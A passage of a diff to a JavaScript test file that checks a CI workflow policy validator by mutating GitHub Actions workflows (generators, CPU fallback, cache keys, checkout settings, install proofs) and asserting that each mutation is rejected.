}, /must compute one complete reusable compiler compatibility contract/u], + ["packaged Ninja selection removed", packagedFile, workflow => { + packagedCacheSetup(workflow).run = packagedCacheSetup(workflow).run + .replace(/.*CMAKE_GENERATOR=Ninja.*\n/u, ""); + }, /Configure bounded compiler cache/u], + ["packaged short Windows target made cross-platform", packagedFile, workflow => { + packagedShortTarget(workflow).if = "runner.os != 'Windows'"; + }, /short Cargo target must be Windows-only/u], + ["packaged short Windows target stops using a junction", packagedFile, workflow => { + packagedShortTarget(workflow).run = packagedShortTarget(workflow).run + .replace("New-Item -ItemType Junction", "New-Item -ItemType Directory"); + }, /Configure short Windows Cargo target/u], + ["packaged short Windows target stops using the runner volume root", packagedFile, workflow => { + packagedShortTarget(workflow).run = packagedShortTarget(workflow).run + .replace("$runnerRoot = [System.IO.Path]::GetPathRoot($workspaceTarget)", "$runnerRoot = $env:RUNNER_TEMP"); + }, /Configure short Windows Cargo target/u], + ["packaged short Windows target points at wrong storage", packagedFile, workflow => { + packagedShortTarget(workflow).run = packagedShortTarget(workflow).run + .replace("-Target $workspaceTarget", '-Target "wrong"'); + }, /Configure short Windows Cargo target/u], + ["packaged short Windows target no longer exports Cargo output", packagedFile, workflow => { + packagedShortTarget(workflow).run = packagedShortTarget(workflow).run + .replace("| Out-File -FilePath $env:GITHUB_ENV", "| Write-Output"); + }, /Configure short Windows Cargo target/u], + ["packaged build overrides generator", packagedFile, workflow => { + packagedBuild(workflow).env = { CMAKE_GENERATOR: "Visual Studio 18 2026" }; + }, /native package build must not override the selected generator/u], + ["packaged Windows smoke ignores short target", packagedFile, workflow => { + draftStep(workflow.jobs.build, "Smoke codestory-cli on Windows").run + = '$bin = "target/codestory-cli.exe"'; + }, /Smoke codestory-cli on Windows/u], + ["packaged Windows asset ignores short target", packagedFile, workflow => { + draftStep(workflow.jobs.build, "Package release asset on Windows").run + = 'python .github/scripts/package-codestory-release.py --binary "target/codestory-cli.exe"'; + }, /Package release asset on Windows/u], + ["packaged Windows asset reroutes the short-target binary", packagedFile, workflow => { + const step = draftStep(workflow.jobs.build, "Package release asset on Windows"); + step.run = step.run.replace("--binary $bin", "--binary target/wrong.exe"); + }, /Package release asset on Windows/u], + ["protected generator removed", protectedFile, workflow => { + delete protectedBuild(workflow).env.CMAKE_GENERATOR; + }, /source package build must use the Ninja native generator/u], + ["protected generator changed", protectedFile, workflow => { + protectedBuild(workflow).env.CMAKE_GENERATOR = "Visual Studio 18 2026"; + }, /source package build must use the Ninja native generator/u], + ["protected build adds a second generator surface", protectedFile, workflow => { + protectedBuild(workflow).env.CMAKE_GENERATOR_PLATFORM = "x64"; + }, /source package build must use the Ninja native generator/u], + ["protected host omits generator selection", protectedFile, workflow => { + protectedSourceTools(workflow).run = protectedSourceTools(workflow).run + .replace(/.*CMAKE_GENERATOR=Ninja.*\n/u, ""); + }, /Capture source build tool evidence/u], + ["protected host omits CMake version", protectedFile, workflow => { + protectedSourceTools(workflow).run = protectedSourceTools(workflow).run + .replace(/.*cmake --version.*\n/u, ""); + }, /Capture source build tool evidence/u], + ["protected host omits Ninja version", protectedFile, workflow => { + protectedSourceTools(workflow).run = protectedSourceTools(workflow).run + .replace(/.*ninja --version.*\n/u, ""); + }, /Capture source build tool evidence/u], + ["protected source evidence made unconditional", protectedFile, workflow => { + delete protectedSourceTools(workflow).if; + }, /source build tool evidence must remain source-only/u], + ["protected source evidence guard inverted", protectedFile, workflow => { + protectedSourceTools(workflow).if = "inputs.use_packaged_cli_artifact"; + }, /source build tool evidence must remain source-only/u], + ["protected source evidence made optional", protectedFile, workflow => { + protectedSourceTools(workflow)["continue-on-error"] = true; + }, /source build tool evidence must remain source-only/u], + ["protected host requires PowerShell 7", protectedFile, workflow => { + protectedHost(workflow).shell = "pwsh"; + }, /must use built-in Windows PowerShell/u], + ["protected Python action drifts", protectedFile, workflow => { + protectedPython(workflow).uses = "actions/setup-python@v6"; + }, /must use actions\/setup-python@v7\.0\.0/u], + ["protected Python version drifts", protectedFile, workflow => { + protectedPython(workflow).with["python-version"] = "3.14"; + }, /must pin Python 3\.13/u], + ["protected Python process policy is removed", protectedFile, workflow => { + delete protectedPython(workflow).env; + }, /must pin Python 3\.13 with process-scoped script policy/u], + ["protected Python process policy drifts", protectedFile, workflow => { + protectedPython(workflow).env.PSExecutionPolicyPreference = "RemoteSigned"; + }, /must pin Python 3\.13 with process-scoped script policy/u], + ["protected Python becomes conditional", protectedFile, workflow => { + protectedPython(workflow).if = "false"; + }, /must pin Python 3\.13 with process-scoped script policy/u], + ["protected Python becomes optional", protectedFile, workflow => { + protectedPython(workflow)["continue-on-error"] = true; + }, /must pin Python 3\.13 with process-scoped script policy/u], + ["protected Python moves after host scripts", protectedFile, workflow => { + const steps = workflow.jobs["packaged-vulkan"].steps; + const pythonIndex = steps.findIndex(step => step.name === "Install pinned Python"); + const [python] = steps.splice(pythonIndex, 1); + steps.push(python); + }, /pinned Python must run immediately after checkout/u], + ]; + + for (const [name, file, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expectedReason); + }); + } +}); - const requiredPaths = [ - "crates/**/Cargo.toml", - "vendor/**/Cargo.toml", - ".github/workflows/rust-ci.yml", +test("protected candidate installs prove accelerated server behavior without CPU fallback", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const platforms = [ + { + file: "macos-metal-proof.yml", + job: "packaged-metal", + proof: "Prove candidate-installed macOS Metal runtime", + backend: "Metal", + }, + { + file: "windows-vulkan-proof.yml", + job: "packaged-vulkan", + proof: "Prove candidate-installed Windows Vulkan runtime", + backend: "Vulkan", + }, + { + file: "linux-vulkan-proof.yml", + job: "packaged-vulkan", + proof: "Prove candidate-installed Linux Vulkan runtime", + backend: "Vulkan", + }, ]; - for (const event of ["pull_request", "push"]) { - for (const requiredPath of requiredPaths) { - await t.test(`${event} rejects removal of ${requiredPath}`, () => { - const candidate = retrievalSourceWorkflow(); - candidate.on[event].paths = candidate.on[event].paths - .filter(triggerPath => triggerPath !== requiredPath); - assert.notDeepEqual(retrievalProducerTriggerPolicyViolations(candidate), []); + + for (const platform of platforms) { + const mutations = [ + ["CPU fallback enabled", step => { + step.env.CODESTORY_EMBED_ALLOW_CPU = "1"; + }], + ["accelerated engine policy removed", step => { + step.run = step.run.replace("--engine-policy accelerated", "--engine-policy cpu_explicit"); + }], + ["accelerator backend replaced by CPU", step => { + step.run = step.run.replace(`--expected-backend ${platform.backend}`, "--expected-backend CPU"); + }], + ["server behavior reduced to a ground-only probe", step => { + step.run = step.run.replace("--server-behavior-only", "--ground-only"); + }], + ["installed provenance removed", step => { + step.run = step.run.replace("--installed-plugin-attestation", "--installed-plugin-provenance"); + }], + ["calibration is smuggled into the standard candidate proof", step => { + step.run += "\n--calibration-bundle forged.json"; + }], + ]; + + for (const [name, mutate] of mutations) { + await t.test(`${platform.file}: ${name}`, () => { const workflows = loadWorkflows(); - workflows.set(retrievalFile, candidate); - assert.match( - validateWorkflows(workflows).join("\n"), - /retrieval cache producer .* paths must cover/u, - ); + const workflow = workflows.get(platform.file); + mutate(draftStep(workflow.jobs[platform.job], platform.proof)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), new RegExp( + `${platform.file.replaceAll(".", "\\.")}|${platform.proof}`, + "u", + )); }); } } +}); - await t.test("push must retain the dev branch", () => { - const candidate = retrievalSourceWorkflow(); - candidate.on.push.branches = candidate.on.push.branches - .filter(branch => branch !== "dev/codestory-next"); - assert.notDeepEqual(retrievalProducerTriggerPolicyViolations(candidate), []); - const workflows = loadWorkflows(); - workflows.set(retrievalFile, candidate); - assert.match( - validateWorkflows(workflows).join("\n"), - /retrieval cache producer must run on dev\/codestory-next pushes/u, - ); - }); +test("protected macOS candidate transfer is resumable, exact-head bound, and cache-miss only", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const file = "macos-metal-proof.yml"; + const mutations = [ + ["resume removed", step => { + step.run = step.run.replace("--continue-at -", "--remote-name"); + }, /Download, authenticate, and admit candidate archive on miss/u], + ["container digest bypassed", step => { + step.run = step.run.replace( + 'test "$actual_digest" = "$EXPECTED_SHA256"', + "true", + ); + }, /Download, authenticate, and admit candidate archive on miss/u], + ["large transfer made unconditional", step => { + step.if = "inputs.use_packaged_cli_artifact"; + }, /large Actions artifact transfer must be a cache-miss-only authenticated boundary/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + const step = draftStep( + workflows.get(file).jobs["packaged-metal"], + "Download, authenticate, and admit candidate archive on miss", + ); + mutate(step); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expectedReason); + }); + } }); -test("Windows manifest-missing proof freezes routing, native topology, and exact cache identity", async (t) => { - assert.deepEqual(windowsManifestProofPolicyViolations(windowsManifestWorkflow()), []); +test("post-publish proof uses an immutable real Codex marketplace install", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); - const keyStep = workflow => windowsManifestStep( - workflow, - "Restore Windows Cargo inputs and output", - ); - const proofStep = workflow => windowsManifestStep( - workflow, - "Prove Windows ready_command manifest-missing contract", + const file = "post-publish-release-smoke.yml"; + const installStep = workflow => workflow.jobs.smoke.steps.find( + ({ name }) => name === "Resolve the published plugin through the marketplace catalog", ); - const saveStep = workflow => windowsManifestStep( - workflow, - "Save Windows Cargo inputs and output", + const proofStep = workflow => workflow.jobs.smoke.steps.find( + ({ name }) => name === "Prove the catalog-resolved published runtime", ); - const installerHash = "${{ hashFiles('.github/scripts/install-windows-vulkan-sdk.ps1') }}"; - const lockHash = "${{ hashFiles('Cargo.lock') }}"; - const mutations = [ - ["cloned Windows job routed on pull requests", workflow => { - const clone = structuredClone(windowsManifestJob(workflow)); - clone.if = "github.event_name == 'pull_request'"; - clone["continue-on-error"] = true; - workflow.jobs["windows-manifest-decoy"] = clone; - }, /must contain exactly linux-contracts and windows-manifest-missing jobs/u], - ["top-level build target", workflow => { - workflow.env = { CARGO_BUILD_TARGET: "x86_64-pc-windows-gnu" }; - }, /must not define top-level env/u], - ["top-level shell default", workflow => { - workflow.defaults = { run: { shell: "bash" } }; - }, /must not define top-level defaults/u], - ["top-level working-directory default", workflow => { - workflow.defaults = { run: { "working-directory": "crates/codestory-cli" } }; - }, /must not define top-level defaults/u], - ["pull request omits installer", workflow => { - workflow.on.pull_request.paths = workflow.on.pull_request.paths - .filter(triggerPath => triggerPath !== ".github/scripts/install-windows-vulkan-sdk.ps1"); - }], - ["push omits installer", workflow => { - workflow.on.push.paths = workflow.on.push.paths - .filter(triggerPath => triggerPath !== ".github/scripts/install-windows-vulkan-sdk.ps1"); - }], - ["dispatch inputs", workflow => { - workflow.on.workflow_dispatch = { inputs: { ref: { required: false, type: "string" } } }; - }], - ["pull-request job routing", workflow => { - windowsManifestJob(workflow).if = "github.event_name == 'pull_request'"; - }], - ["label routing", workflow => { - windowsManifestJob(workflow).if = "contains(github.event.pull_request.labels.*.name, 'proof')"; - }], - ["older runner", workflow => { - windowsManifestJob(workflow)["runs-on"] = "windows-2022"; - }], - ["longer timeout", workflow => { - windowsManifestJob(workflow)["timeout-minutes"] = 60; - }], - ["CPU permission removed", workflow => { - delete windowsManifestJob(workflow).env.CODESTORY_EMBED_ALLOW_CPU; - }], - ["CPU permission disabled", workflow => { - windowsManifestJob(workflow).env.CODESTORY_EMBED_ALLOW_CPU = "0"; - }], - ["native generator removed", workflow => { - delete windowsManifestJob(workflow).env.CMAKE_GENERATOR; - }], - ["native generator changed to Visual Studio", workflow => { - windowsManifestJob(workflow).env.CMAKE_GENERATOR = "Visual Studio 18 2026"; - }], - ["native generator moved to proof-step override", workflow => { - delete windowsManifestJob(workflow).env.CMAKE_GENERATOR; - proofStep(workflow).env = { CMAKE_GENERATOR: "Ninja" }; - }], - ["extra product feature environment", workflow => { - windowsManifestJob(workflow).env.CARGO_FEATURES = "cpu-only"; - }], - ["job made optional", workflow => { - windowsManifestJob(workflow)["continue-on-error"] = true; - }], - ["checkout alternate ref", workflow => { - windowsManifestJob(workflow).steps[0].with = { ref: "main" }; - }], - ["installer removed", workflow => { - windowsManifestJob(workflow).steps = windowsManifestJob(workflow).steps - .filter(step => step.name !== "Install checksum-pinned Windows Vulkan SDK"); - }], - ["installer replaced", workflow => { - windowsManifestStep(workflow, "Install checksum-pinned Windows Vulkan SDK").run = "choco install vulkan-sdk"; - }], - ["installer made optional", workflow => { - windowsManifestStep(workflow, "Install checksum-pinned Windows Vulkan SDK")["continue-on-error"] = true; - }], - ["installer moved after proof", workflow => { - const job = windowsManifestJob(workflow); - const installer = job.steps.findIndex(step => step.name === "Install checksum-pinned Windows Vulkan SDK"); - const proof = job.steps.findIndex(step => step.name === "Prove Windows ready_command manifest-missing contract"); - [job.steps[installer], job.steps[proof]] = [job.steps[proof], job.steps[installer]]; - }], - ["CMake cache identity capture removed", workflow => { - const identity = windowsManifestStep(workflow, "Capture Rust cache identity"); - identity.run = identity.run.replace(/.*cmake.*\n/gu, ""); - }], - ["Ninja cache identity capture removed", workflow => { - const identity = windowsManifestStep(workflow, "Capture Rust cache identity"); - identity.run = identity.run.replace(/.*ninja.*\n/gu, ""); - }], - ["unversioned proof topology", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace(/ready-command-v2-[0-9a-f]{64}/u, "ready-command"); - }], - ["stale proof topology", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("ready-command-v2-", "ready-command-v1-"); + ["Codex CLI pin drifts", workflow => { + workflow.env.CODEX_CLI_VERSION = "latest"; + }, /pin the Codex CLI/u], + ["marketplace revision becomes mutable", workflow => { + installStep(workflow).run = installStep(workflow).run + .replace('--marketplace-revision "$marketplace_revision"', "--marketplace-revision main"); + }, /Resolve the published plugin through the marketplace catalog/u], + ["marketplace revision is resolved again after publication", workflow => { + installStep(workflow).run += "\ngit ls-remote origin refs/heads/main"; + }, /must not fabricate installation with git ls-remote/u], + ["checked-out package binding is removed", workflow => { + installStep(workflow).run = installStep(workflow).run + .replace( + '--source-repository "$GITHUB_WORKSPACE"', + '--source-commit "$GITHUB_SHA"', + ); + }, /Resolve the published plugin through the marketplace catalog/u], + ["real installer helper is bypassed", workflow => { + installStep(workflow).run = installStep(workflow).run + .replace( + "install-codestory-marketplace-proof.mjs", + "copy-codestory-marketplace-proof.mjs", + ); + }, /Resolve the published plugin through the marketplace catalog/u], + ["source archive is substituted for installation", workflow => { + installStep(workflow).run += "\ngit archive HEAD:plugins/codestory"; + }, /must not fabricate installation with git archive/u], + ["single v2 attestation is removed", workflow => { + proofStep(workflow).run = proofStep(workflow).run + .replace("--installed-plugin-attestation", "--installed-plugin-provenance"); + }, /installed runtime proof must run --installed-plugin-attestation/u], + ]; + + for (const [name, mutate, expectedReason] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expectedReason); + }); + } +}); + +test("post-publish proof keeps every release asset on its protected accelerator", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + + const file = "post-publish-release-smoke.yml"; + const proof = workflow => draftStep( + workflow.jobs.smoke, + "Prove the catalog-resolved published runtime", + ); + const installStep = workflow => draftStep( + workflow.jobs.smoke, + "Resolve the published plugin through the marketplace catalog", + ); + const row = (workflow, assetTarget) => { + const match = workflow.jobs.smoke.strategy.matrix.include.find( + ({ asset_target: candidate }) => candidate === assetTarget, + ); + assert.ok(match, `missing ${assetTarget} post-publish row`); + return match; + }; + const mutations = [ + ["Windows moves to a hosted runner", workflow => { + row(workflow, "windows-x64").runs_on = '["windows-latest"]'; }], - ["generator-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-generator-ninja", ""); + ["macOS loses its protected environment", workflow => { + row(workflow, "macos-arm64").environment = ""; }], - ["CMake-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-cmake-${{ steps.rust-cache-key.outputs.cmake }}", ""); + ["Linux backend falls back to CPU", workflow => { + row(workflow, "linux-x64").backend = "CPU"; }], - ["Ninja-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-ninja-${{ steps.rust-cache-key.outputs.ninja }}", ""); + ["matrix starts cancelling sibling platform proof", workflow => { + workflow.jobs.smoke.strategy["fail-fast"] = true; }], - ["OS-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key.replace("${{ runner.os }}-", ""); + ["published runtime enables CPU fallback", workflow => { + proof(workflow).env.CODESTORY_EMBED_ALLOW_CPU = "1"; }], - ["Rust-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-${{ steps.rust-cache-key.outputs.version }}", ""); + ["published runtime drops accelerated policy", workflow => { + proof(workflow).run = proof(workflow).run + .replace("--engine-policy accelerated", "--engine-policy cpu_explicit"); }], - ["target-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-${{ steps.rust-cache-key.outputs.target }}", ""); + ["published runtime drops bounded server behavior", workflow => { + proof(workflow).run = proof(workflow).run + .replace("--server-behavior-only", "--ground-only"); }], - ["all-feature cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace("-default-features-", "-all-features-"); + ["published Python loses the protected execution policy", workflow => { + delete draftStep(workflow.jobs.smoke, "Install pinned Python") + .env.PSExecutionPolicyPreference; }], - ["manifest-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key - .replace(`${cacheManifestIdentity}-`, ""); + ["published Python proof falls back to PowerShell", workflow => { + draftStep(workflow.jobs.smoke, "Prove packaged version, help, and stdio shape").shell + = "powershell"; }], - ["installer-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key.replace(`${installerHash}-`, ""); + ["published marketplace install inherits personal HOME", workflow => { + installStep(workflow).run = installStep(workflow).run + .replace('HOME="$isolated_home" node', "node"); }], - ["lock-free cache", workflow => { - keyStep(workflow).with.key = keyStep(workflow).with.key.replace(lockHash, "unlocked"); + ["published macOS Python pin drifts", workflow => { + draftStep(workflow.jobs.smoke, "Install pinned Python on macOS").run + = draftStep(workflow.jobs.smoke, "Install pinned Python on macOS").run + .replaceAll("3.13.14", "3.14.6"); }], - ["fallback cache prefix", workflow => { - keyStep(workflow).with["restore-keys"] = "Windows-cargo-stable-"; + ["Windows installer loses the protected execution policy", workflow => { + draftStep(workflow.jobs.smoke, "Run Windows installer ownership self-test").shell + = "pwsh"; }], - ["alternate cache output", workflow => { - keyStep(workflow).with.path = "target/windows"; + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + const violations = validateWorkflows(workflows); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), /post-publish-release-smoke\.yml/u); + }); + } +}); + +test("package workflow keeps a packaging-only timeout", () => { + const workflows = loadWorkflows(); + assert.deepEqual(validateWorkflows(workflows), []); + + workflows.get("packaged-platform-proof.yml").jobs.build["timeout-minutes"] = + "${{ inputs.calibration_mode && 180 || (inputs.candidate_installed_proof && 120 || 60) }}"; + + assert.match( + validateWorkflows(workflows).join("\n"), + /package build timeout must cover only signed macOS packaging/u, + ); +}); + +test("draft source workflow freezes its complete top-level contract", async (t) => { + assert.deepEqual(draftWorkflowPolicyViolations(draftSourceWorkflow()), []); + const reordered = draftSourceWorkflow(); + [reordered.on.pull_request.paths[0], reordered.on.pull_request.paths[1]] + = [reordered.on.pull_request.paths[1], reordered.on.pull_request.paths[0]]; + assert.deepEqual( + draftWorkflowPolicyViolations(reordered), + [], + "path membership is exact but order-insensitive", + ); + + const mutations = [ + ["workflow name", workflow => { workflow.name = "Draft checks"; }], + ["missing pull request trigger", workflow => { delete workflow.on.pull_request; }], + ["extra push trigger", workflow => { workflow.on.push = { branches: ["main"] }; }], + ["missing path", workflow => { workflow.on.pull_request.paths.pop(); }], + ["duplicate path", workflow => { + workflow.on.pull_request.paths[1] = workflow.on.pull_request.paths[0]; }], - ["cache restore bypass", workflow => { - keyStep(workflow).if = "always()"; + ["extra path", workflow => { workflow.on.pull_request.paths.push("scripts/**"); }], + ["dispatch inputs", workflow => { + workflow.on.workflow_dispatch = { inputs: { ref: { required: false, type: "string" } } }; }], - ["unlocked proof", workflow => { - proofStep(workflow).run = proofStep(workflow).run.replace(" --locked", ""); + ["missing dispatch", workflow => { delete workflow.on.workflow_dispatch; }], + ["write permission", workflow => { workflow.permissions.contents = "write"; }], + ["extra permission", workflow => { workflow.permissions.actions = "read"; }], + ["concurrency group", workflow => { workflow.concurrency.group = "draft-${{ github.ref }}"; }], + ["disabled concurrency cancellation", workflow => { + workflow.concurrency["cancel-in-progress"] = false; }], - ["supplied-binary substitute", workflow => { - proofStep(workflow).run = "cargo test --locked -p codestory-cli --test ready_command --features supplied-binary"; + ["extra concurrency field", workflow => { workflow.concurrency.limit = 1; }], + ["top-level env", workflow => { workflow.env = { CARGO_TERM_COLOR: "always" }; }], + ["top-level defaults", workflow => { + workflow.defaults = { run: { shell: "bash" } }; }], - ["proof made optional", workflow => { - proofStep(workflow)["continue-on-error"] = true; + ["missing jobs", workflow => { delete workflow.jobs; }], + ["cloned job", workflow => { + workflow.jobs["extra-draft-lane"] = structuredClone(workflow.jobs["linux-draft"]); }], - ["save before proof", workflow => { - const job = windowsManifestJob(workflow); - const proof = job.steps.findIndex(step => step.name === "Prove Windows ready_command manifest-missing contract"); - const save = job.steps.findIndex(step => step.name === "Save Windows Cargo inputs and output"); - [job.steps[proof], job.steps[save]] = [job.steps[save], job.steps[proof]]; + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const candidate = draftSourceWorkflow(); + mutate(candidate); + assert.notDeepEqual(draftWorkflowPolicyViolations(candidate), []); + }); + } +}); + +test("draft source job rejects every alternate execution surface", async (t) => { + assert.deepEqual(draftSourcePolicyViolations(draftSourceJob(), retrievalSourceJob()), []); + + const mutations = [ + ["job name", job => { job.name = "Draft source"; }], + ["runner", job => { job["runs-on"] = "ubuntu-24.04"; }], + ["timeout", job => { job["timeout-minutes"] = 60; }], + ["if", job => { job.if = "always()"; }], + ["needs", job => { job.needs = ["untrusted"]; }], + ["permissions", job => { job.permissions = { contents: "write" }; }], + ["continue-on-error", job => { job["continue-on-error"] = true; }], + ["strategy", job => { job.strategy = { matrix: { shard: [1, 2] } }; }], + ["env", job => { job.env = { RUSTFLAGS: "-Awarnings" }; }], + ["defaults", job => { job.defaults = { run: { shell: "bash" } }; }], + ["environment", job => { job.environment = "release"; }], + ["container", job => { job.container = "ubuntu:latest"; }], + ["services", job => { job.services = { cache: { image: "redis" } }; }], + ["outputs", job => { job.outputs = { result: "${{ steps.proof.outputs.result }}" }; }], + ]; + + for (const [name, mutate] of mutations) { + await t.test(name, () => { + const candidate = draftSourceJob(); + mutate(candidate); + assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); + }); + } +}); + +test("draft source steps reject checkout and proof bypass mutations", async (t) => { + const checkout = job => job.steps[0]; + const proof = job => draftStep(job, "Prove focused publication contracts"); + const mutations = [ + ["checkout ref", job => { checkout(job).with = { ref: "refs/heads/main" }; }], + ["checkout persisted credentials", job => { + checkout(job).with = { "persist-credentials": true }; }], - ["save after failed proof", workflow => { - saveStep(workflow).if = "steps.cargo-cache-restore.outputs.cache-hit != 'true'"; + ["checkout if", job => { checkout(job).if = "always()"; }], + ["checkout continue-on-error", job => { checkout(job)["continue-on-error"] = true; }], + ["checkout env", job => { checkout(job).env = { GH_TOKEN: "token" }; }], + ["checkout id", job => { checkout(job).id = "checkout"; }], + ["checkout action", job => { checkout(job).uses = "actions/checkout@v4"; }], + ["cloned step", job => { job.steps.push(structuredClone(checkout(job))); }], + ["deleted step", job => { job.steps.splice(5, 1); }], + ["reordered steps", job => { + [job.steps[5], job.steps[6]] = [job.steps[6], job.steps[5]]; }], - ["save exact hit", workflow => { - saveStep(workflow).if = "success()"; + ["run step shell", job => { draftStep(job, "Check formatting").shell = "bash"; }], + ["restore extra input", job => { + draftStep(job, "Restore Cargo inputs and output").with["fail-on-cache-miss"] = false; }], - ["save matched key", workflow => { - saveStep(workflow).with.key = "${{ steps.cargo-cache-restore.outputs.cache-matched-key }}"; + ["save extra input", job => { + draftStep(job, "Save Cargo inputs and output").with["restore-keys"] = "decoy"; }], - ["save fallback input", workflow => { - saveStep(workflow).with["restore-keys"] = "Windows-cargo-stable-"; + ["proof if", job => { proof(job).if = "always()"; }], + ["proof continue-on-error", job => { proof(job)["continue-on-error"] = true; }], + ["proof env", job => { proof(job).env = { RUST_BACKTRACE: "1" }; }], + ["native staging proof removed", job => { + proof(job).run = proof(job).run + .split("\n") + .filter(command => !command.includes("--test native_staging")) + .join("\n"); }], - ["decoy proof", workflow => { - const decoy = structuredClone(proofStep(workflow)); - proofStep(workflow).run = "Write-Output skipped"; - decoy.name = "Decoy ready_command proof"; - windowsManifestJob(workflow).steps.push(decoy); + ["native staging proof reordered", job => { + const commands = proof(job).run.trim().split("\n"); + [commands[0], commands[1]] = [commands[1], commands[0]]; + proof(job).run = commands.join("\n"); }], ]; - for (const [name, mutate, expectedReason = /Windows manifest proof/u] of mutations) { + for (const [name, mutate] of mutations) { await t.test(name, () => { - const candidate = windowsManifestWorkflow(); + const candidate = draftSourceJob(); mutate(candidate); - const violations = windowsManifestProofPolicyViolations(candidate); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), expectedReason); - const workflows = loadWorkflows(); - workflows.set(retrievalFile, candidate); - assert.match( - validateWorkflows(workflows).join("\n"), - expectedReason, - ); + assert.notDeepEqual(draftSourcePolicyViolations(candidate, retrievalSourceJob()), []); }); } }); -test("Windows source package builds pin Ninja and bind native tool identity", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); +test("draft source workflow rejects cloned top-level jobs", () => { + const workflows = loadWorkflows(); + const workflow = draftSourceWorkflow(); + assert.deepEqual(draftWorkflowPolicyViolations(workflow), []); - const packagedFile = "packaged-platform-proof.yml"; - const protectedFile = "windows-vulkan-proof.yml"; - const packagedIdentity = workflow => draftStep( - workflow.jobs.build, - "Capture reusable build cache contract", - ); - const packagedCacheSetup = workflow => draftStep( - workflow.jobs.build, - "Configure bounded compiler cache", - ); - const packagedBuild = workflow => draftStep(workflow.jobs.build, "Build codestory-cli"); - const packagedShortTarget = workflow => draftStep( - workflow.jobs.build, - "Configure short Windows Cargo target", - ); - const packagedNativeStaging = workflow => draftStep( - workflow.jobs.build, - "Test immutable native staging on Windows", - ); - const protectedSourceTools = workflow => draftStep( - workflow.jobs["packaged-vulkan"], - "Capture source build tool evidence", - ); - const protectedHost = workflow => draftStep( - workflow.jobs["packaged-vulkan"], - "Capture host evidence", - ); - const protectedPython = workflow => draftStep( - workflow.jobs["packaged-vulkan"], - "Install pinned Python", - ); - const protectedBuild = workflow => draftStep( - workflow.jobs["packaged-vulkan"], - "Build and package native CLI", + workflow.jobs["extra-draft-lane"] = structuredClone(workflow.jobs["linux-draft"]); + workflows.set("rust-ci.yml", workflow); + assert.match( + validateWorkflows(workflows).join("\n"), + /must contain exactly the linux-draft job/u, ); +}); - const mutations = [ - ["packaged CMake identity removed", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--cmake-version "$cmake_version"', "--cmake ignored"); - }, /must compute one complete reusable compiler compatibility contract/u], - ["packaged Ninja identity removed", packagedFile, workflow => { - packagedIdentity(workflow).run = packagedIdentity(workflow).run - .replace('--ninja-version "$ninja_version"', "--ninja ignored"); - }, /must compute one complete reusable compiler compatibility contract/u], - ["packaged Ninja selection removed", packagedFile, workflow => { - packagedCacheSetup(workflow).run = packagedCacheSetup(workflow).run - .replace(/.*CMAKE_GENERATOR=Ninja.*\n/u, ""); - }, /Configure bounded compiler cache/u], - ["packaged short Windows target made cross-platform", packagedFile, workflow => { - packagedShortTarget(workflow).if = "runner.os != 'Windows'"; - }, /short Cargo target must be Windows-only/u], - ["packaged short Windows target stops using a junction", packagedFile, workflow => { - packagedShortTarget(workflow).run = packagedShortTarget(workflow).run - .replace("New-Item -ItemType Junction", "New-Item -ItemType Directory"); - }, /Configure short Windows Cargo target/u], - ["packaged short Windows target stops using the runner volume root", packagedFile, workflow => { - packagedShortTarget(workflow).run = packagedShortTarget(workflow).run - .replace("$runnerRoot = [System.IO.Path]::GetPathRoot($workspaceTarget)", "$runnerRoot = $env:RUNNER_TEMP"); - }, /Configure short Windows Cargo target/u], - ["packaged short Windows target points at wrong storage", packagedFile, workflow => { - packagedShortTarget(workflow).run = packagedShortTarget(workflow).run - .replace("-Target $workspaceTarget", '-Target "wrong"'); - }, /Configure short Windows Cargo target/u], - ["packaged short Windows target no longer exports Cargo output", packagedFile, workflow => { - packagedShortTarget(workflow).run = packagedShortTarget(workflow).run - .replace("| Out-File -FilePath $env:GITHUB_ENV", "| Write-Output"); - }, /Configure short Windows Cargo target/u], - ["packaged native staging regression made cross-platform", packagedFile, workflow => { - packagedNativeStaging(workflow).if = "runner.os != 'Windows'"; - }, /immutable native staging regression must run on Windows/u], - ["packaged native staging regression removed", packagedFile, workflow => { - packagedNativeStaging(workflow).run = "cargo test --release --locked"; - }, /Test immutable native staging on Windows/u], - ["packaged build overrides generator", packagedFile, workflow => { - packagedBuild(workflow).env = { CMAKE_GENERATOR: "Visual Studio 18 2026" }; - }, /native package build must not override the selected generator/u], - ["packaged Windows smoke ignores short target", 